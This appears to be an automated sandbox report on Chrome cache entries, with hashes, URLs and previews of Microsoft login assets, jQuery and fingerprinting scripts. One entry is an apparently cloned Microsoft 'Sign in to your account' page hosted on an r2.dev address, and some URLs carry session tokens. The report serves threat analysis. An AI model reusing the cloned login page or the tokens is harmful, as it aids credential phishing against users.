Preview:	<!DOCTYPE html>..<html xmlns="http://www.w3.org/1999/xhtml">..<head>.. <title></title>.. <script>var localTarget='https://fpt.live.com/',target='https://fpt2.microsoft.com/Clear.HTML?ctx=Ls1.0&wl=False&',txnId='b58882512b7c40d78c42f4d88f1affac',ticks='8DC5E6EF4BF80EC',rid='485a5f8e-4436-6b7e-8b9c-bbd7cfac0061',authKey='taBcrIH61PuCVH7eNCyH0J9Fjk1kZEyRnBbpUW3FKs%252bPBIIe5UPfX%252fdCN4xorunpDaUx8d6T2Sy5nsqmpG4qpaE64KjG8k5m55Tu7wCV3pS5XDm0jMpOmbcjUStMLy6OIPAsPYiVynnbiQCj%252fvMiJ35qPZwrSlPwqTdMDLx09iAqtcw88pjKtHeNWda11Uce9xoriaMR%252fjPld0PImPkuN%252bU7tDy4VjZbGB2tGemp1FVLRFb53gu69OS%252f9CtevZzlrL8Fnmjqaeei3EnKEwyM2W8o4rGdwdTwwYaK9bc3gMiFLkKcZKolKyXrD7XJ15Jn',cid='33e01921-4d64-4f8c-a055-5bdaffd5e33d',assessment='',waitresponse=false,bbwait=false,commonquery='&PageId=SU',lsInfo=true,splitFonts=false,noFonts=false,UCH=true,PTO=100,rticks=1713310982537,ipv6Url='https://fpt6.microsoft.com/probe?session_id=b58882512b7c40d78c42f4d88f1affac&instanceId=33e01921-4d64-4f8c-a055-5bdaffd5e33

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	downloaded
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 28981
Category:	downloaded
Size (bytes):	7203
Entropy (8bit):	7.957414144235107
Encrypted:	false
SSDEEP:	192:hxLf1m7xU3bfEQ2Ki5vY92Nm5cQqSDhJAd:hxT1mIwQ1ava5Ad
MD5:	E136BF6A4163DFAF362EE33A5CCE2141
SHA1:	6BF60E30FD6DC097BD7F50F67622C6ED2E9117FC
SHA-256:	4C9D555EA3719C873C5EDDA8B109BD4A136ACBECE2DD0324FD7634F63BB4584E
SHA-512:	9717178B54637299A4B5AFFA39F27712176B7B70A89C939D9B6920F06BED4AE97224C1FAD4B1B0D9CE13AAA2758C8BD2DD32C7A4A9B535649A9A93C9ACD8A942
Malicious:	false
Reputation:	low
URL:	https://acctcdn.msauth.net/lwsignupstringscountrybirthdate_en-us_gdxUIqa3ijrOefuBnwhTKg2.js?v=1
Preview:	...........\.r.Hr..)..#...Q......DI.[$..)....D.,...(N....1...!\|........&~.g.@"...................g...^}.U...R..J.ka.W.....Y..{..:..B..$........J..._KZ..:p...4]:..x.J..Nn......%...{..x..d..\K.. .^ORq.\..p5.:-,\|.......S...(\g~.k_.eA.....`).:y.b.).W+.:...E..<...0.q...g..0..V...e$j.....uh}R...,[y...K.k.X.....u.%\..#\.....f..Z...?[.........p..~0...>8.r ......\|..s......qKX..qh.])`.@o-...p.+.....<.Lb.J..k.W.]..eH...Ac..1B...p......\|.........B.Ur....Qj.~...j...x0?_...pq........Y.......K...x.f.....BY3a?...z..Z...WK1.F+.cX.#.6...G.$.YV..P;....S..SW...q#..?2......v...q....G.Mb?....;......h.3.D.9x.....BD...@...v..%....?.P..1.............y........_....5..~.\|].......C.'....8.lf.u]....n.T.....s..k......@.,.;..tR.]..%..B.G..W....\{-..;.b....H].....j.\...w.M.=..vQ.lZ..v.....~<.....o.$$9i...q.'..\.....(..3..$...Rq...<9.A......./..i._(P.Z..B.I.=..K.0..& ja.0..s...!....H.C....Q..U\|k.p.+..#D..;.,.m...............`.\|..q.YC....c,.r.....Z...u..).H!-....@..J...H1..

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 22961
Category:	downloaded
Size (bytes):	5564
Entropy (8bit):	7.96911120289624
Encrypted:	false
SSDEEP:	96:26I4XZXVk41B1hFdJqnP/x0rTuwfifl0h3yajulA2TxxBM0iUGR+MrBN6Fz+w:26Zlpvv7J6P/TwfifK5yb9vM0iUGdrnY
MD5:	B59E39F9921CAFCA149EB9685B51F656
SHA1:	CE99E1B2CA50537D61B5F6004EA2D0F528725979
SHA-256:	72DE626A972E4867B3D7A5E1E3A08812FD74C25FAD1132E934AD3565FFD5AD78
SHA-512:	BA49F13506CD1648109B8684132794F7749129432DC0F89B2CB3869FC39D4DF107F08E0EF69958DDD993C8C09ED3060D35C193922BD5433897CE2B0583EB6559
Malicious:	false
Reputation:	low
URL:	https://acctcdn.msauth.net/jqueryshim_hlu0tTfjWJFWYNt1WZrVqg2.js?v=1
Preview:	...........<k..8...+.....pg..`.bd3...f..6..;.F...&2...4...W.DR...d..[.EV...".{..9.g_....B.y).%<$..itOF#2._..M!..b..".K..g.>.../..BG9...r#........Q.k......;g...J.Z..\|..].I."HSq..)Et.e../0...;....6."...Y.N.<%c.C.Iy...B..&)_....K.y.H....bN.......UUQE.. .7,_.M.4.....V...s"...A.fF.......6O..yV..2....A./..57..)...j...EJ....= ..j........X..&+/o)..pq.d....;..Qv./..........1. j..)#f"%S.B.x...F.H.1$..WQ\|.l.x.T.......5.%}.......2%@D...D@..A&)...u.$et...M.........<U0O..8.Y.C2?_.x.?...t..U..;.YD.P...zN...X.,-...A..().2..Y.M..E....J..K....S...W.> (a.e.`.j..A.......m..%e..l.Al.O.....-..~..$.D.d.....}..^.s.J...V...Q,....&/V.%..!.?.bOj.3..-3d0...........;....5.=.T-.5LF.- j...-d\....."..hD.K...D...q... ....K$..'jU.....h2Lk..!.wk....$...,...;..p.G<j..U.mq..s..`........K..f......88o..kp.M7z@.kZ...W#a....Jn..7.7..WW.)..A.,q."..\|.@........=s..3..1.D.Z.-=U.l..Ll.r,6..6;..I... .".[..9...5.B#..V.....6.<..F=.A.x./7.P.6%....V.6.Ab.}4.O;.....e&........ACU.\

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 95910
Category:	downloaded
Size (bytes):	17755
Entropy (8bit):	7.985805274338916
Encrypted:	false
SSDEEP:	384:7P/snh9IWQT5yz/+u+ZoU9a5pXAeTHNxDyG6d1zC9pvFe5:j/HWWyqu+ZoU9atAeTHzeGgv5
MD5:	5E5918E943A26D2E4037BD7418076110
SHA1:	06B96FC7B61F3EF879A3D37536AE28BC47B0CF48
SHA-256:	1F0A2E09C97C138320FBA7E9291D31247912914223FBFE953917005BAC107A88
SHA-512:	DB49B108F7EBF7431ACB9215605C2D39813F2E7DE7A982632F1C69BE6F77FFC8217D1A7D94661F93DA1D17C1F6C6295852387413CC5B780B4829BAD1975CCF3D
Malicious:	false
Reputation:	low
URL:	https://acctcdn.msauth.net/converged_ux_v2_nBE5FSqn9KpH44ZlTc3VqQ2.css?v=1
Preview:	...........}is.F..w...\.XY..-J.....Y.K..V.."!.k.`..e.....s_=.(...D.D...\===3}\|......H..U...~.&..y._U.^.."..<..gi.P.2(.2.>..0......n....g./.w?...N..........N_....<zt.H..I...^Fe<..,. .f..q.,.w.DipU..Z........iRVP.2N..).+..YTT....~.\.l..M2(=...U2..(.Sl)\|..8Xg..n..l.._.....)(.nV...".....Z.v..9..XKZ.......O...^...%..h.j..&e.,...FHd..f...n.5o..O.].0n..C..:h.\|=.B......@!9...N..A.y..ez.\.QF.\T...].q..........A.\ACh.:A\V.j..dn)........Z.TusYv/.."Zu.,...p......G...^..9.=./...i.q...z.apq.T0...4.=zt...%...{...R.l..<....f....;d~..6X.EI..e.%...R.#...@f....7.v>K"2Q.\|.&.Cg..6..B.{...>.d.G.$.."..h."_S.d.f.Vg...6..4Y&..R.Q.#@.......`..+.7..Z./a..:.<!./..$.$..f...; .2N.G.!!...h].-.....$)7..dO.........0d.F.JH....SX.k.<.'.G.....2.....L.J..*.d1].\|...${D.Dw.R}Y........gw3.._....~........<8{.._./O^.{....^'....../..x..-pc`....'........g.O..w....9{}z.i.o_........P..w......^..H.....9A.....W.........<....-.....3................@./....?..ZN.....VH.N.._..W.

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Reputation:	low
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 900
Category:	dropped
Size (bytes):	252
Entropy (8bit):	7.057986237150363
Encrypted:	false
SSDEEP:	6:Xth1WIxjFLw0cb88da94jE0CadKSPfN8IC6a8r0ADAgvw9xwi:Xf1WMlcb5a92EGZa6JmUUxh
MD5:	19AA49E6F345811CEBE895003C8FCFC7
SHA1:	48D93BEDEFFE842A3DFB5D3036D14178D97115F9
SHA-256:	F61DC276446B263FC29B1A8CE20D8BFD2C028F4603356F795687B942E3B4969F
SHA-512:	6A2E4E29D0FDBFD0E671A88CB6411AA7401524C3DDF903AB8E766B4CD66C9C31E0D175592920D29D3CF0CD67D6FA6763F6A0D4A5286EEC48F77028A36054E642
Malicious:	false
Reputation:	low
Preview:	...........S.. ...q.cl.&...}.....1..Uj?.jR..&......8..h.G....jl..n8.!.P...+....Fa8x[c.0...[?..........'n....kZ.:...w..z..5..&dA.+..1h2".!..R1(.t..SJ.N+......VV._...y.D_..3"4...e;. ]RA...r..VR-..I..DO.9Y...a{A\&.xr{.H.K\...f.?.7&}..........

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	downloaded
Size (bytes):	89476
Entropy (8bit):	5.2896589255084425
Encrypted:	false
SSDEEP:	1536:AjExXUqrnxDjoXEZxkMV4SYSt0zvDD6ip3h8cApwEjOPrBeU6QLiTFbc0QlQvakF:AYh8eip3huuf6IidlrvakdtQ47GK1
MD5:	DC5E7F18C8D36AC1D3D4753A87C98D0A
SHA1:	C8E1C8B386DC5B7A9184C763C88D19A346EB3342
SHA-256:	F7F6A5894F1D19DDAD6FA392B2ECE2C5E578CBF7DA4EA805B6885EB6985B6E3D
SHA-512:	6CB4F4426F559C06190DF97229C05A436820D21498350AC9F118A5625758435171418A022ED523BAE46E668F9F8EA871FEAB6AFF58AD2740B67A30F196D65516
Malicious:	false
Reputation:	low
URL:	https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js
Preview:	/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"o

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Reputation:	low
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 915
Category:	downloaded
Size (bytes):	263
Entropy (8bit):	7.109710006180472
Encrypted:	false
SSDEEP:	6:Xt45qzoyr7SEpx2nsOcigQRwU9EEXBBLVtGuDNZjg/BW7/:Xm5qz7ShsBig8fj3TjgJY
MD5:	FDADF2FE6A40F8745A54088F002AECA2
SHA1:	CE8A4413ABA3B2035EF4C48D46D76EABE4DDA4B0
SHA-256:	AA6593B23F2559FE0C239B25F9AD9B2BC79437AE5EE23E412E13D148AB5B6B86
SHA-512:	CD99227F63AB606911AAC42BBDD132FF1AC0B243C64288BB23B8B44F54FEEF3D130882B21E3402C22C45FF5DD15D0CF16494A66FB1896AA46D95ACAF999EE837
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/ellipsis_grey_2b5d393db04a5e6e1f739cb266e65b4c.svg
Preview:	...........S.n. ...D.,CM...Rz...f)...,(........CY....yo$....~....1....1F.+v...3..t...a.X(....c......n1 @B..[.\........d.]...&..t...->.&dE..w.K6h2#.)..R1...Tr.%.@.].b.9...M.3.~.y.D..WHh.0..n.A..f....:.m...K3.C..=y.).......J.J........j!.."......~.5$......

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (56963)
Category:	downloaded
Size (bytes):	62429
Entropy (8bit):	5.7351648157292034
Encrypted:	false
SSDEEP:	768:/mS6msTeRczuvzAxS3RlwX6QEElvWqjvyVRI7mKO9646ylWm4h3j63VD12SdM9HK:/hca9EjrjvAsqmm
MD5:	F49EB480C703D920738308F9327D6005
SHA1:	ADA453236B486EB3104AD1B5FBF2F8AA93626E3C
SHA-256:	8E01AE3B83F9F8A5D9E686B431B789E33390EBBE773F65470F8E8EEF3170219E
SHA-512:	9979B610154FE1F3CCF23AC4F0A29EEDE272924B801F7E9DF556575E742B14502054E920097D0AA6ADF05DC66EF674B105CB565A1ED85A512793E50500D03E5A
Malicious:	false
Reputation:	low
URL:	https://pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev/index.html
Preview:	<html class="" dir="ltr" lang="en">. <head>. . </head>. <body style="display: block;" class="cb" data-bind="defineGlobals: ServerData, bodyCssClass">. <title>Sign in to your account</title>. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">. <meta http-equiv="X-UA-Compatible" content="IE=edge">. <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=2.0, user-scalable=yes">. <meta http-equiv="Pragma" content="no-cache">. <link rel="preconnect" href="https://aadcdn.msauth.net" crossorigin="">. <meta http-equiv="x-dns-prefetch-control" content="on">. <meta name="LocLC" content="en-US">. <link rel="prefetch" href="https://login.live.com/Me.htm?v=3">. <link rel="shortcut icon" href="https://aadcdn.msauth.net/ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico">. <link crossorigin="anonymous" href="https://aadcdn.msauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_wixdbz3ubznoegxpcgkfog2.

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (2625), with CRLF line terminators
Category:	downloaded
Size (bytes):	2746
Entropy (8bit):	5.657852759571468
Encrypted:	false
SSDEEP:	48:t1XXw+kOhX/BxVgnK/Q6GiuGq9juwbae13NhcKBLd41KWQmQT0SKr0ir4kB2+IIQ:H9W3iuV96wDrHBZ4UMQTWoirrB27n/
MD5:	64BBD472F03D5208F5579AAD865DD460
SHA1:	C6A89493E4595D55E63196CCDD41B0C57B219F5F
SHA-256:	2BD2582A385A6437478805784A89199D57FF4F798449854E4D6EB4CF128DADA4
SHA-512:	8854A9E2CB8834F4ACB89987983346F1425A4710E8754230BF552F9E6B5F81AE0EBC85CA292C265EE9B0149E4EC7C3906A51E00C19BBAE5B3CA66C488904FE24
Malicious:	false
Reputation:	low
URL:	https://fpt2.microsoft.com/Clear.HTML?ctx=Ls1.0&wl=False&session_id=b58882512b7c40d78c42f4d88f1affac&id=485a5f8e-4436-6b7e-8b9c-bbd7cfac0061&w=8DC5E6EF4BF80EC&tkt=taBcrIH61PuCVH7eNCyH0J9Fjk1kZEyRnBbpUW3FKs%252bPBIIe5UPfX%252fdCN4xorunpDaUx8d6T2Sy5nsqmpG4qpaE64KjG8k5m55Tu7wCV3pS5XDm0jMpOmbcjUStMLy6OIPAsPYiVynnbiQCj%252fvMiJ35qPZwrSlPwqTdMDLx09iAqtcw88pjKtHeNWda11Uce9xoriaMR%252fjPld0PImPkuN%252bU7tDy4VjZbGB2tGemp1FVLRFb53gu69OS%252f9CtevZzlrL8Fnmjqaeei3EnKEwyM2W8o4rGdwdTwwYaK9bc3gMiFLkKcZKolKyXrD7XJ15Jn&CustomerId=33e01921-4d64-4f8c-a055-5bdaffd5e33d
Preview:	<!DOCTYPE html>..<html xmlns="http://www.w3.org/1999/xhtml">..<head>.. <title></title>..</head>..<script>function BaseStamp() { this.GetStorageQsInfo = function () { if (window.localStorage) { var n = window.localStorage.getItem(lsKey); var lsupd = "False"; if (lsupd === "true" && n) { var xhr = new XMLHttpRequest(), method = "GET", url = target + "updatels.html?ofid=" + n + "&session_id=" + sid + "&CustomerId=" + cid; xhr.open(method, url, true); xhr.onreadystatechange = function () { if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { var update = xhr.responseText; if (update && update.toLowerCase() === "true") { window.localStorage.setItem(lsKey, id); } } }; xhr.send(); } if (n && n != null && n != "" \|\| (window.localStorage.setItem(lsKey, id), n = id), id != n) return "session_id=" + sid + "&CustomerId=" + cid + "&fid=" + id + "&ofid=" + n + "&w=" + ticks + "&auth=" + encodeURIComponent(authKey) } return "" }; this.newXMLHttp = function () { var n = null; return

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 8111
Category:	downloaded
Size (bytes):	3505
Entropy (8bit):	7.945008338787512
Encrypted:	false
SSDEEP:	96:ziS8LmnrKD6nrzRydFgkoVfemimQY/W+X:ziarzrzR04GmP7/fX
MD5:	1A9078EB7795CC2AB9BE86D02D21A853
SHA1:	0CD912EEE4E1FE283AD99FA0C69CDC1F32DA7025
SHA-256:	B68C76624B9979DA1E4138A3570F2F944CF67343AFE8EC089C15E0266E8E2D35
SHA-512:	3E3AA3A4BB67BF617276C27F17AC7FC390C6520009EE9478AC28934AC50F195B2985153AD2DD9DA8ADCE0192572A4385CBE153F53BAFE3C2419AAAA13DDB0CA8
Malicious:	false
Reputation:	low
URL:	https://acctcdn.msauth.net/datarequestpackage_h-_7C7UzwdefXJT9njDBTQ2.js
Preview:	...........Y[s.6.~..Q.L.`FI...D..q..c+....$$1.I..-+...~..M....N......~..&e..(MlgY.Z....U.U.c..n.\|%..{=[.Y...7..JH.......!...O..1....7.......>..'e....!0...>1.M.......s+..^>...Z..q9...M ..[..(e.^o..[.z...`.Z.$L.n!.8..i..)/..=wG...D...w....C.,....m....I.....K........9. \|.a#;u...... ....5..+I..AeV&.0J..F..$.......V...!..RK...F.\..\.. .8.07...{$......h...O8..Jw[..Y6..Qh..`.(...K...8..09P..#.,`..f.qI..\|...{.h....pm.\.m.&.s...tI@....Y.m.sg.x.j.og]..+.AY6.&.8...7.5..Y.$...Z....6....w.f.d..Q.LV..3qTh....X5Ih.%....j..tb..kfB..o..;....3...8C...l.:.W..jF...1!..5..~/.j....t....3.......e..:".9........_.,.h..<.. .x..9.HD...1...w..Kq..Q^FW....VA'K.&..<.H.3l..>........M.....t.._....+B ..e6jK..A. ..+9...nRX.M.....\.....b...j55<..X...U...U0S...we..8.kY...@&._.......;h.e.=..&.H.e.d...;%.R.YH...tg~.a.\|....E..p..Q.Gj.T;.....'3.iQP....m..U.......KC..k.b0...w...z...9r[..R.h....K?.#.....e.!..5y.....s....G.oa.;..:............H......._Y&.W...X.u.

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	downloaded
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
Reputation:	low
URL:	https://acctcdn.msauth.net/images/2_vD0yppaJX3jBnfbHF1hqXQ2.svg
